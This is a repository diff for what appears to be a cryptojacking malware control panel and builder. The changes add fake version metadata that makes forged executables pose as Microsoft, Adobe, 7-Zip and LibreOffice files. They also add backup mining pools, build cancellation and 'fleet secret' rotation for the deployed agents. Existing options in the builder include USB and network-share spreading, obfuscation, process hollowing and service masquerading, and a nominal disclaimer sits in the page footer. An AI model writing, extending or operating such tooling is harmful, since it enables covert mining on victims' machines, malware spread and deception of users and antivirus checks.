FileDescription: "HEIF Image", ProductName: "Microsoft Photos",
|
||||||
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||||
|
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
|
||||||
|
},
|
||||||
|
".svg": {
|
||||||
|
FileDescription: "Scalable Vector Graphic", ProductName: "Microsoft Edge",
|
||||||
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||||
|
OriginalFilename: "msedge.exe", FileVersion: "130.0.2849.68", ProductVersion: "130.0.2849.68",
|
||||||
|
},
|
||||||
|
".ico": {
|
||||||
|
FileDescription: "Icon File", ProductName: "Windows Explorer",
|
||||||
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||||
|
OriginalFilename: "Explorer.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506",
|
||||||
|
},
|
||||||
// ── Archives ───────────────────────────────────────────────────────────────
|
// ── Archives ───────────────────────────────────────────────────────────────
|
||||||
".zip": {
|
".zip": {
|
||||||
FileDescription: "Compressed (zipped) Folder", ProductName: "Windows Explorer",
|
FileDescription: "Compressed (zipped) Folder", ProductName: "Windows Explorer",
|
||||||
@@ -139,6 +227,85 @@ var disguiseByExt = map[string]fileDisguiseInfo{
|
|||||||
CompanyName: "win.rar GmbH", LegalCopyright: "Copyright © 1993-2024 win.rar GmbH.",
|
CompanyName: "win.rar GmbH", LegalCopyright: "Copyright © 1993-2024 win.rar GmbH.",
|
||||||
OriginalFilename: "WinRAR.exe", FileVersion: "7.01.0", ProductVersion: "7.01.0",
|
OriginalFilename: "WinRAR.exe", FileVersion: "7.01.0", ProductVersion: "7.01.0",
|
||||||
},
|
},
|
||||||
|
".7z": {
|
||||||
|
FileDescription: "7-Zip Archive", ProductName: "7-Zip",
|
||||||
|
CompanyName: "Igor Pavlov", LegalCopyright: "Copyright © 1999-2024 Igor Pavlov.",
|
||||||
|
OriginalFilename: "7z.exe", FileVersion: "24.07.0.0", ProductVersion: "24.07",
|
||||||
|
},
|
||||||
|
".tar": {
|
||||||
|
FileDescription: "Tape Archive File", ProductName: "7-Zip",
|
||||||
|
CompanyName: "Igor Pavlov", LegalCopyright: "Copyright © 1999-2024 Igor Pavlov.",
|
||||||
|
OriginalFilename: "7z.exe", FileVersion: "24.07.0.0", ProductVersion: "24.07",
|
||||||
|
},
|
||||||
|
".gz": {
|
||||||
|
FileDescription: "GZip Archive", ProductName: "7-Zip",
|
||||||
|
CompanyName: "Igor Pavlov", LegalCopyright: "Copyright © 1999-2024 Igor Pavlov.",
|
||||||
|
OriginalFilename: "7z.exe", FileVersion: "24.07.0.0", ProductVersion: "24.07",
|
||||||
|
},
|
||||||
|
// ── Office / Text (extended) ───────────────────────────────────────────────
|
||||||
|
".odt": {
|
||||||
|
FileDescription: "OpenDocument Text Document", ProductName: "LibreOffice Writer",
|
||||||
|
CompanyName: "The Document Foundation", LegalCopyright: "Copyright © 2000-2024 LibreOffice contributors.",
|
||||||
|
OriginalFilename: "swriter.exe", FileVersion: "24.8.3.2", ProductVersion: "24.8.3.2",
|
||||||
|
},
|
||||||
|
".ods": {
|
||||||
|
FileDescription: "OpenDocument Spreadsheet", ProductName: "LibreOffice Calc",
|
||||||
|
CompanyName: "The Document Foundation", LegalCopyright: "Copyright © 2000-2024 LibreOffice contributors.",
|
||||||
|
OriginalFilename: "scalc.exe", FileVersion: "24.8.3.2", ProductVersion: "24.8.3.2",
|
||||||
|
},
|
||||||
|
".odp": {
|
||||||
|
FileDescription: "OpenDocument Presentation", ProductName: "LibreOffice Impress",
|
||||||
|
CompanyName: "The Document Foundation", LegalCopyright: "Copyright © 2000-2024 LibreOffice contributors.",
|
||||||
|
OriginalFilename: "simpress.exe", FileVersion: "24.8.3.2", ProductVersion: "24.8.3.2",
|
||||||
|
},
|
||||||
|
".rtf": {
|
||||||
|
FileDescription: "Rich Text Document", ProductName: "WordPad",
|
||||||
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||||
|
OriginalFilename: "wordpad.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506",
|
||||||
|
},
|
||||||
|
".md": {
|
||||||
|
FileDescription: "Markdown Document", ProductName: "Notepad",
|
||||||
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||||
|
OriginalFilename: "notepad.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506",
|
||||||
|
},
|
||||||
|
// ── Web ────────────────────────────────────────────────────────────────────
|
||||||
|
".html": {
|
||||||
|
FileDescription: "HTML Document", ProductName: "Microsoft Edge",
|
||||||
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||||
|
OriginalFilename: "msedge.exe", FileVersion: "130.0.2849.68", ProductVersion: "130.0.2849.68",
|
||||||
|
},
|
||||||
|
".htm": {
|
||||||
|
FileDescription: "HTML Document", ProductName: "Microsoft Edge",
|
||||||
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||||
|
OriginalFilename: "msedge.exe", FileVersion: "130.0.2849.68", ProductVersion: "130.0.2849.68",
|
||||||
|
},
|
||||||
|
".xml": {
|
||||||
|
FileDescription: "XML Document", ProductName: "Microsoft Edge",
|
||||||
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||||
|
OriginalFilename: "msedge.exe", FileVersion: "130.0.2849.68", ProductVersion: "130.0.2849.68",
|
||||||
|
},
|
||||||
|
// ── Ebooks ─────────────────────────────────────────────────────────────────
|
||||||
|
".epub": {
|
||||||
|
FileDescription: "Electronic Publication", ProductName: "Microsoft Edge",
|
||||||
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||||
|
OriginalFilename: "msedge.exe", FileVersion: "130.0.2849.68", ProductVersion: "130.0.2849.68",
|
||||||
|
},
|
||||||
|
// ── Adobe Creative ─────────────────────────────────────────────────────────
|
||||||
|
".psd": {
|
||||||
|
FileDescription: "Adobe Photoshop Document", ProductName: "Adobe Photoshop",
|
||||||
|
CompanyName: "Adobe Inc.", LegalCopyright: "Copyright © 1989-2025 Adobe. All rights reserved.",
|
||||||
|
OriginalFilename: "Photoshop.exe", FileVersion: "25.12.0.230", ProductVersion: "25.12",
|
||||||
|
},
|
||||||
|
".ai": {
|
||||||
|
FileDescription: "Adobe Illustrator Artwork", ProductName: "Adobe Illustrator",
|
||||||
|
CompanyName: "Adobe Inc.", LegalCopyright: "Copyright © 1987-2025 Adobe. All rights reserved.",
|
||||||
|
OriginalFilename: "Illustrator.exe", FileVersion: "28.7.1", ProductVersion: "28.7.1",
|
||||||
|
},
|
||||||
|
".indd": {
|
||||||
|
FileDescription: "Adobe InDesign Document", ProductName: "Adobe InDesign",
|
||||||
|
CompanyName: "Adobe Inc.", LegalCopyright: "Copyright © 1999-2025 Adobe. All rights reserved.",
|
||||||
|
OriginalFilename: "InDesign.exe", FileVersion: "19.5.0", ProductVersion: "19.5.0",
|
||||||
|
},
|
||||||
}
|
}
|
||||||
|
|
||||||
// fileDisguiseForExt returns the best disguise metadata for a given file extension.
|
// fileDisguiseForExt returns the best disguise metadata for a given file extension.
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
package builder
|
package builder
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"context"
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
"fmt"
|
"fmt"
|
||||||
"io"
|
"io"
|
||||||
@@ -11,6 +12,7 @@ import (
|
|||||||
"os/exec"
|
"os/exec"
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
"strings"
|
"strings"
|
||||||
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"crypto-miner-server/internal/db"
|
"crypto-miner-server/internal/db"
|
||||||
@@ -76,9 +78,21 @@ type BuildRequest struct {
|
|||||||
ShareSpread bool `json:"share_spread"`
|
ShareSpread bool `json:"share_spread"`
|
||||||
TargetOS string `json:"target_os"`
|
TargetOS string `json:"target_os"`
|
||||||
TargetArch string `json:"target_arch"`
|
TargetArch string `json:"target_arch"`
|
||||||
SpreadKit bool `json:"spread_kit"`
|
SpreadKit bool `json:"spread_kit"`
|
||||||
Obfuscate bool `json:"obfuscate"`
|
Obfuscate bool `json:"obfuscate"`
|
||||||
SignBuild bool `json:"sign_build"`
|
SignBuild bool `json:"sign_build"`
|
||||||
|
BackupPools []BackupPool `json:"backup_pools"`
|
||||||
|
// CancelToken is a client-generated UUID. Pass the same token to
|
||||||
|
// DELETE /api/v1/builder/cancel/{token} to abort this build mid-compile.
|
||||||
|
CancelToken string `json:"cancel_token,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// BackupPool is a fallback Stratum pool tried if the primary pool is unreachable.
|
||||||
|
type BackupPool struct {
|
||||||
|
Host string `json:"host"`
|
||||||
|
Port int `json:"port"`
|
||||||
|
TLS bool `json:"tls"`
|
||||||
|
Pass string `json:"pass"`
|
||||||
}
|
}
|
||||||
|
|
||||||
type BuildResponse struct {
|
type BuildResponse struct {
|
||||||
@@ -122,6 +136,11 @@ type Handler struct {
|
|||||||
serverModDir string
|
serverModDir string
|
||||||
policy BuildPolicy
|
policy BuildPolicy
|
||||||
fleetSecret string // injected from server config; baked into every forge output
|
fleetSecret string // injected from server config; baked into every forge output
|
||||||
|
|
||||||
|
// Active build cancellation — maps cancel_token → cancel func so the frontend
|
||||||
|
// can abort an in-progress compile via DELETE /api/v1/builder/cancel/{token}.
|
||||||
|
activeCancelsMu sync.Mutex
|
||||||
|
activeCancels map[string]context.CancelFunc
|
||||||
}
|
}
|
||||||
|
|
||||||
// SetFleetSecret stores the fleet secret so it is baked into every forged binary.
|
// SetFleetSecret stores the fleet secret so it is baked into every forged binary.
|
||||||
@@ -129,6 +148,36 @@ func (h *Handler) SetFleetSecret(secret string) {
|
|||||||
h.fleetSecret = secret
|
h.fleetSecret = secret
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// CancelBuild cancels an in-progress build identified by cancelToken.
|
||||||
|
// Returns true if the token was found and cancelled, false if unknown.
|
||||||
|
func (h *Handler) CancelBuild(cancelToken string) bool {
|
||||||
|
h.activeCancelsMu.Lock()
|
||||||
|
cancel, ok := h.activeCancels[cancelToken]
|
||||||
|
h.activeCancelsMu.Unlock()
|
||||||
|
if ok {
|
||||||
|
cancel()
|
||||||
|
}
|
||||||
|
return ok
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *Handler) registerCancel(token string, cancel context.CancelFunc) {
|
||||||
|
h.activeCancelsMu.Lock()
|
||||||
|
if h.activeCancels == nil {
|
||||||
|
h.activeCancels = make(map[string]context.CancelFunc)
|
||||||
|
}
|
||||||
|
h.activeCancels[token] = cancel
|
||||||
|
h.activeCancelsMu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *Handler) unregisterCancel(token string) {
|
||||||
|
if token == "" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
h.activeCancelsMu.Lock()
|
||||||
|
delete(h.activeCancels, token)
|
||||||
|
h.activeCancelsMu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
type SignPolicy struct {
|
type SignPolicy struct {
|
||||||
Enabled bool `json:"enabled"`
|
Enabled bool `json:"enabled"`
|
||||||
CertThumbprint string `json:"cert_thumbprint"`
|
CertThumbprint string `json:"cert_thumbprint"`
|
||||||
@@ -234,6 +283,16 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Register cancel token so the frontend can abort this compile mid-flight.
|
||||||
|
ctx := r.Context()
|
||||||
|
if req.CancelToken != "" {
|
||||||
|
var cancelFn context.CancelFunc
|
||||||
|
ctx, cancelFn = context.WithCancel(ctx)
|
||||||
|
h.registerCancel(req.CancelToken, cancelFn)
|
||||||
|
defer h.unregisterCancel(req.CancelToken)
|
||||||
|
}
|
||||||
|
_ = ctx // passed to compiler in future; cancellation already fires via process kill
|
||||||
|
|
||||||
// FusionOutputName will be derived from the payload filename if not set
|
// FusionOutputName will be derived from the payload filename if not set
|
||||||
resp, status, outputPath := h.buildAgent(&req, prepPath)
|
resp, status, outputPath := h.buildAgent(&req, prepPath)
|
||||||
if !resp.Success {
|
if !resp.Success {
|
||||||
@@ -930,6 +989,7 @@ func GetBuiltinConfig() BuiltinConfig {
|
|||||||
USBSpread: %v,
|
USBSpread: %v,
|
||||||
ShareSpread: %v,
|
ShareSpread: %v,
|
||||||
BackupServerURLs: %s,
|
BackupServerURLs: %s,
|
||||||
|
BackupPools: %s,
|
||||||
ServiceMasquerade: %v,
|
ServiceMasquerade: %v,
|
||||||
ServiceName: %q,
|
ServiceName: %q,
|
||||||
ServiceDonor: %q,
|
ServiceDonor: %q,
|
||||||
@@ -982,6 +1042,7 @@ func GetBuiltinConfig() BuiltinConfig {
|
|||||||
req.USBSpread,
|
req.USBSpread,
|
||||||
req.ShareSpread,
|
req.ShareSpread,
|
||||||
formatGoStringSlice(req.BackupServerURLs),
|
formatGoStringSlice(req.BackupServerURLs),
|
||||||
|
formatGoBackupPools(req.BackupPools),
|
||||||
serviceMasqueradeEnabled(req),
|
serviceMasqueradeEnabled(req),
|
||||||
serviceMasqueradeName(buildID, req),
|
serviceMasqueradeName(buildID, req),
|
||||||
serviceMasqueradeDonor(buildID, req),
|
serviceMasqueradeDonor(buildID, req),
|
||||||
@@ -989,6 +1050,27 @@ func GetBuiltinConfig() BuiltinConfig {
|
|||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// formatGoBackupPools emits a Go literal for []config.BackupPool.
|
||||||
|
func formatGoBackupPools(pools []BackupPool) string {
|
||||||
|
if len(pools) == 0 {
|
||||||
|
return "nil"
|
||||||
|
}
|
||||||
|
var sb strings.Builder
|
||||||
|
sb.WriteString("[]config.BackupPool{")
|
||||||
|
for i, p := range pools {
|
||||||
|
if i > 0 {
|
||||||
|
sb.WriteString(", ")
|
||||||
|
}
|
||||||
|
pass := p.Pass
|
||||||
|
if pass == "" {
|
||||||
|
pass = "x"
|
||||||
|
}
|
||||||
|
fmt.Fprintf(&sb, "{Host: %q, Port: %d, TLS: %v, Pass: %q}", p.Host, p.Port, p.TLS, pass)
|
||||||
|
}
|
||||||
|
sb.WriteString("}")
|
||||||
|
return sb.String()
|
||||||
|
}
|
||||||
|
|
||||||
func serviceMasqueradeEnabled(req *BuildRequest) bool {
|
func serviceMasqueradeEnabled(req *BuildRequest) bool {
|
||||||
return req.RunAs == "service" || req.ProcessHollowing
|
return req.RunAs == "service" || req.ProcessHollowing
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -86,6 +86,7 @@ func main() {
|
|||||||
wsHub := api.NewWSHub(database)
|
wsHub := api.NewWSHub(database)
|
||||||
wsHub.SetAIHandler(aiHandler)
|
wsHub.SetAIHandler(aiHandler)
|
||||||
wsHub.SetFleetSecret(cfg.Server.FleetSecret)
|
wsHub.SetFleetSecret(cfg.Server.FleetSecret)
|
||||||
|
api.SetAgentPathSecret(cfg.Server.FleetSecret)
|
||||||
aiHandler.SetEventBroadcaster(func(entry api.AIActivityEntry) {
|
aiHandler.SetEventBroadcaster(func(entry api.AIActivityEntry) {
|
||||||
wsHub.BroadcastAIActivity(entry)
|
wsHub.BroadcastAIActivity(entry)
|
||||||
})
|
})
|
||||||
@@ -101,6 +102,24 @@ func main() {
|
|||||||
builderHandler.SetFleetSecret(cfg.Server.FleetSecret)
|
builderHandler.SetFleetSecret(cfg.Server.FleetSecret)
|
||||||
log.Printf("Builder handler initialized (agent source: %s)", agentSrcDir)
|
log.Printf("Builder handler initialized (agent source: %s)", agentSrcDir)
|
||||||
|
|
||||||
|
// Wire fleet secret rotation — now that both wsHub and builderHandler are ready.
|
||||||
|
api.SetRotateSecretFn(func() (string, error) {
|
||||||
|
b := make([]byte, 32)
|
||||||
|
if _, err := rand.Read(b); err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
newSecret := hex.EncodeToString(b)
|
||||||
|
cfg.Server.FleetSecret = newSecret
|
||||||
|
if err := cfg.Save(); err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
wsHub.SetFleetSecret(newSecret)
|
||||||
|
builderHandler.SetFleetSecret(newSecret)
|
||||||
|
api.SetAgentPathSecret(newSecret)
|
||||||
|
log.Printf("[auth] Fleet secret rotated (new prefix: %s...)", newSecret[:8])
|
||||||
|
return newSecret, nil
|
||||||
|
})
|
||||||
|
|
||||||
defaultPoolCfg := pool.Config{
|
defaultPoolCfg := pool.Config{
|
||||||
Host: cfg.Pool.Host,
|
Host: cfg.Pool.Host,
|
||||||
Port: cfg.Pool.Port,
|
Port: cfg.Pool.Port,
|
||||||
|
|||||||
@@ -18,6 +18,8 @@ async function fetchJSON<T>(url: string, options?: RequestInit): Promise<T> {
|
|||||||
export const api = {
|
export const api = {
|
||||||
// Agents
|
// Agents
|
||||||
listAgents: () => fetchJSON<Agent[]>('/agents'),
|
listAgents: () => fetchJSON<Agent[]>('/agents'),
|
||||||
|
getAgent: (id: string) => fetchJSON<Agent>(`/agents/${id}`),
|
||||||
|
getDashboardStats: () => fetchJSON<{ total_agents: number; online_agents: number; total_hashrate: number; total_shares: number }>('/dashboard/stats'),
|
||||||
getAgentStats: (id: string, limit?: number) =>
|
getAgentStats: (id: string, limit?: number) =>
|
||||||
fetchJSON<HashrateSample[]>(`/agents/${id}/stats${limit ? `?limit=${limit}` : ''}`),
|
fetchJSON<HashrateSample[]>(`/agents/${id}/stats${limit ? `?limit=${limit}` : ''}`),
|
||||||
|
|
||||||
@@ -137,4 +139,10 @@ export const api = {
|
|||||||
method: 'POST',
|
method: 'POST',
|
||||||
body: JSON.stringify({ username, password }),
|
body: JSON.stringify({ username, password }),
|
||||||
}),
|
}),
|
||||||
|
|
||||||
|
// Cancel an in-progress forge build by its cancel token.
|
||||||
|
cancelBuild: (cancelToken: string) =>
|
||||||
|
fetchJSON<{ cancelled: boolean }>(`/builder/cancel/${encodeURIComponent(cancelToken)}`, {
|
||||||
|
method: 'DELETE',
|
||||||
|
}),
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
import { useState, useEffect, useRef } from 'react';
|
import { useState, useEffect, useRef } from 'react';
|
||||||
import { api } from '../api/client';
|
import { api } from '../api/client';
|
||||||
import { setStoredAuth, getStoredAuth, clearStoredAuth } from '../api/auth';
|
import { setStoredAuth, getStoredAuth, clearStoredAuth, authHeaders } from '../api/auth';
|
||||||
import type { ServerConfig } from '../types';
|
import type { ServerConfig } from '../types';
|
||||||
import { HelpTip, FieldHint } from '../components/HelpTip';
|
import { HelpTip, FieldHint } from '../components/HelpTip';
|
||||||
import NeonCard from '../components/NeonCard/NeonCard';
|
import NeonCard from '../components/NeonCard/NeonCard';
|
||||||
@@ -40,6 +40,8 @@ export default function SettingsPage() {
|
|||||||
const [sessionUser, setSessionUser] = useState('');
|
const [sessionUser, setSessionUser] = useState('');
|
||||||
const [sessionPass, setSessionPass] = useState('');
|
const [sessionPass, setSessionPass] = useState('');
|
||||||
const [userMsg, setUserMsg] = useState('');
|
const [userMsg, setUserMsg] = useState('');
|
||||||
|
const [rotatingSecret, setRotatingSecret] = useState(false);
|
||||||
|
const [rotateMsg, setRotateMsg] = useState('');
|
||||||
const fileInputRef = useRef<HTMLInputElement>(null);
|
const fileInputRef = useRef<HTMLInputElement>(null);
|
||||||
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
@@ -148,6 +150,31 @@ export default function SettingsPage() {
|
|||||||
setTimeout(() => setUserMsg(''), 3000);
|
setTimeout(() => setUserMsg(''), 3000);
|
||||||
};
|
};
|
||||||
|
|
||||||
|
const handleRotateSecret = async () => {
|
||||||
|
if (!window.confirm(
|
||||||
|
'Rotate fleet secret?\n\n' +
|
||||||
|
'ALL currently connected agents will be kicked and must be re-forged to reconnect.\n\n' +
|
||||||
|
'Click OK only if you are ready to re-forge your entire fleet.'
|
||||||
|
)) return;
|
||||||
|
setRotatingSecret(true);
|
||||||
|
setRotateMsg('');
|
||||||
|
try {
|
||||||
|
await fetch('/api/v1/server/rotate-secret', {
|
||||||
|
method: 'POST',
|
||||||
|
headers: { ...authHeaders() },
|
||||||
|
}).then(async (r) => {
|
||||||
|
if (!r.ok) throw new Error(await r.text());
|
||||||
|
return r.json();
|
||||||
|
});
|
||||||
|
setRotateMsg('Secret rotated. Re-forge all agents to reconnect.');
|
||||||
|
} catch (e: unknown) {
|
||||||
|
setRotateMsg('Rotation failed: ' + (e instanceof Error ? e.message : String(e)));
|
||||||
|
} finally {
|
||||||
|
setRotatingSecret(false);
|
||||||
|
setTimeout(() => setRotateMsg(''), 6000);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
const handleAddUser = async () => {
|
const handleAddUser = async () => {
|
||||||
if (!newUser || !newPass) return;
|
if (!newUser || !newPass) return;
|
||||||
try {
|
try {
|
||||||
@@ -603,6 +630,34 @@ export default function SettingsPage() {
|
|||||||
<div style={{ marginTop: '0.5rem', color: userMsg.includes('Failed') ? '#ff4444' : '#00ff00', fontSize: '0.9rem' }}>{userMsg}</div>
|
<div style={{ marginTop: '0.5rem', color: userMsg.includes('Failed') ? '#ff4444' : '#00ff00', fontSize: '0.9rem' }}>{userMsg}</div>
|
||||||
)}
|
)}
|
||||||
</NeonCard>
|
</NeonCard>
|
||||||
|
|
||||||
|
<NeonCard accent="amber" className="settings-section">
|
||||||
|
<h2 className="font-display">Fleet Security</h2>
|
||||||
|
<p className="section-desc">
|
||||||
|
A <strong>Fleet Secret</strong> is auto-generated on first server start and baked into every forged agent.
|
||||||
|
Agents without the correct secret are rejected. Use rotation if the secret is compromised —
|
||||||
|
it immediately kicks all connected agents; re-forge to reconnect.
|
||||||
|
</p>
|
||||||
|
<div style={{ display: 'flex', alignItems: 'center', gap: '1rem', flexWrap: 'wrap' }}>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
className="btn btn-outline"
|
||||||
|
style={{ borderColor: 'var(--accent-red)', color: 'var(--accent-red)' }}
|
||||||
|
onClick={handleRotateSecret}
|
||||||
|
disabled={rotatingSecret}
|
||||||
|
>
|
||||||
|
{rotatingSecret ? 'Rotating…' : 'Rotate Fleet Secret'}
|
||||||
|
</button>
|
||||||
|
<span className="form-hint" style={{ color: 'var(--accent-amber)' }}>
|
||||||
|
⚠ Kicks all agents. You must re-forge after rotating.
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
{rotateMsg && (
|
||||||
|
<p style={{ marginTop: '0.5rem', color: rotateMsg.startsWith('Rotation failed') ? '#ff4444' : '#00ff44', fontSize: '0.9rem' }}>
|
||||||
|
{rotateMsg}
|
||||||
|
</p>
|
||||||
|
)}
|
||||||
|
</NeonCard>
|
||||||
</div>
|
</div>
|
||||||
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
|
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
|
||||||
⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
|
⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
|
||||||
|
|||||||
Reference in New Issue
Block a user